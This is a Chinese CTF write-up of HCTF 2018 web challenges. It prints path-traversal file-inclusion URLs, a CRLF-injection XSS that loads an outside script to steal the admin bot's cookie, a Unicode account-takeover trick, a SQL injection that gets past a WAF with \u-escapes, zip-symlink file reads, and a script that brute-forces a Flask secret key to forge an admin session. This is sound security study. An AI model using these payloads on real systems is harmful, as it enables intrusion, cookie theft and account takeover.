HCTF 2018 Web WriteUp

2018-11-20 13,000

划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。


Warmup

得到Flag位置的提示:

flag not here, and flag in ffffllllaaaagggg


网页源码提示source.php,访问显示源码:

<?php
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>


这个就是phpMyAdmin-4-8-x-Authorited-CLI-to-RCE漏洞的代码,构造Payload如下:

http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

Flag为:hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}


bottle

描述

Not hard, I believe you are the lucky one! 
hint1: */3 */10 
hint2: bot use firefoxDriver


解题

bottle 是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。

path参数为注入点,输出点为响应中的Location,构造Xss的Poc

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d<script>xss</script>

image-20181112222441404.png

发送给admin,打cookie:

image-20181112222838268.png

但是这里存在一个问题,响应是302跳转,我们注入的XssPayload作为实体不会被浏览器解析,根据hint2: bot use firefoxDriver,让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。

不是很清楚bot是否会补全基本的html标签,所以手动添加一对body,Poc如下

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a<body></body>%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e

image-20181112225509896.png

参考p老板链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html


admin

网页源码中找到源码链接:

https://github.com/woadsl1234/hctf_flask/

查看源码,得到一些信息

image-20181112233010074.png

.vscode/settings.json(开发环境python2.7)

{
    "python.pythonPath": "/usr/local/opt/python@2/bin/python2.7"
}

requirements.txt(安装库版本)

Flask==0.10.1
Werkzeug==0.10.4
Flask_Login==0.4.1
Twisted==10.2.0
Flask_SQLAlchemy==2.0
WTForms==2.2.1
Flask_Migrate==2.2.1
Flask_WTF==0.14.2
Pillow==5.3.0
pymysql==0.9.2

模板中看到当session['name'] == 'admin'时打印Flag。

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}

关键代码:

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
def strlower(username):
    username = nodeprep.prepare(username)
    return username

  • login函数,使用form.username.data获取表单内容,这是一个unicode对象,Twisted的版本小于11,并且使用封装nodeprep.prepare的strlower()处理form.username.data存入session['name']。

  • change函数,再次使用strlower()处理unicode对象session['name']。

参考此篇文章可以完成低版本Twisted处理unicode堆在存在的幂等性攻击。(PS:Python版本大于等于2.5)

注册一个ᴬdmin账号,登陆ᴬdmin,调用一次strlower(),此时session['name']变成Admin的unicode对象。

image-20181113001217445.png

修改账号密码,调用一次strlower(),变成admin,已经修改了admin的密码了。

重新登陆admin,看到flag。

image-20181113001943349-1024x321.png


kzone

扫描获取题目的源码

http://kzone.2018.hctf.io/www.zip

发现问题文件member.php,cookie中的login_data存在注入漏洞

<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
    if ($_COOKIE["login_data"]) {
        $login_data = json_decode($_COOKIE['login_data'], true);
        $admin_user = $login_data['admin_user'];
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setcookie("islogin", "", time() - 604800);
            setcookie("login_data", "", time() - 604800);
        }
    }
}
if (isset($_SESSION['islogin'])) {
    if ($_SESSION["admin_user"]) {
        $admin_user = base64_decode($_SESSION['admin_user']);
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $_SESSION["admin_pass"]) {
            $islogin = 1;
        }
    }
}
?>

但是有个基于黑名单的软waf

<?php
function waf($string)
{
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

没有其他的难点,这里同样要利用unicode绕过waf,满足unicode编码格式的字符在经过json_decode函数后会被解析。

比如传入\u006f后,会被解析成o。

<?php
$a = '{"test":"\u006f"}';
$a = json_decode($a);
var_dump($a);
# { ["test"]=> string(1) "o" }

延时test语句,绕过waf。

login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}

最后盲注即可,渣代码脚本就不贴了。


hide and seek

注册用户,登陆后可以上传zip文件,利用zip软连接读取文件。

读取/proc/self/environ得到。

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5**3FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源码。

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'
    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)
if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

可以发现源码中并没有flag的获取方式。

读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html源码

<h1>Hello, {{ user }}. </h1>
{% if user == 'admin' %}
Your flag: <br>
{{ flag  }}

发现当满足条件后就会打印输出flag,此时我们就需要获得admin的session。

flask的session是本地进行存储的,并且通过了SECRET_KEY进行加密的,得到秘钥就能伪造admin的session。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

秘钥的生成是通过伪随机数进行生成,种子是通过uuid.getnode()获取的mac地址的十进制,是固定的,我们知道mac地址就能够预测SECRET_KEY。

读取/sys/class/net/eth0/address获取mac地址12:34:3e:14:7c:62,转化十进制20015589129314。

使用github上的脚本进行解密自己的flask的session,根据结果判断秘钥是否正确.

import random
import os
random.seed(int(20015589129314))
for x in range(1000):
    SECRET_KEY = str(random.random() * 100)
    cmd = '''python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY)
    rs = os.popen(cmd).read()
    if ('error' not in rs):
        print(SECRET_KEY)
        exit()

SECRET_KEY为11.935137566861131,加密得到admin的session。(注意使用unicode形式的变量)

python session_cookie_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}"
#eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0

成功登录等到flag:

image-20181113232457493.png




本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/81989.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号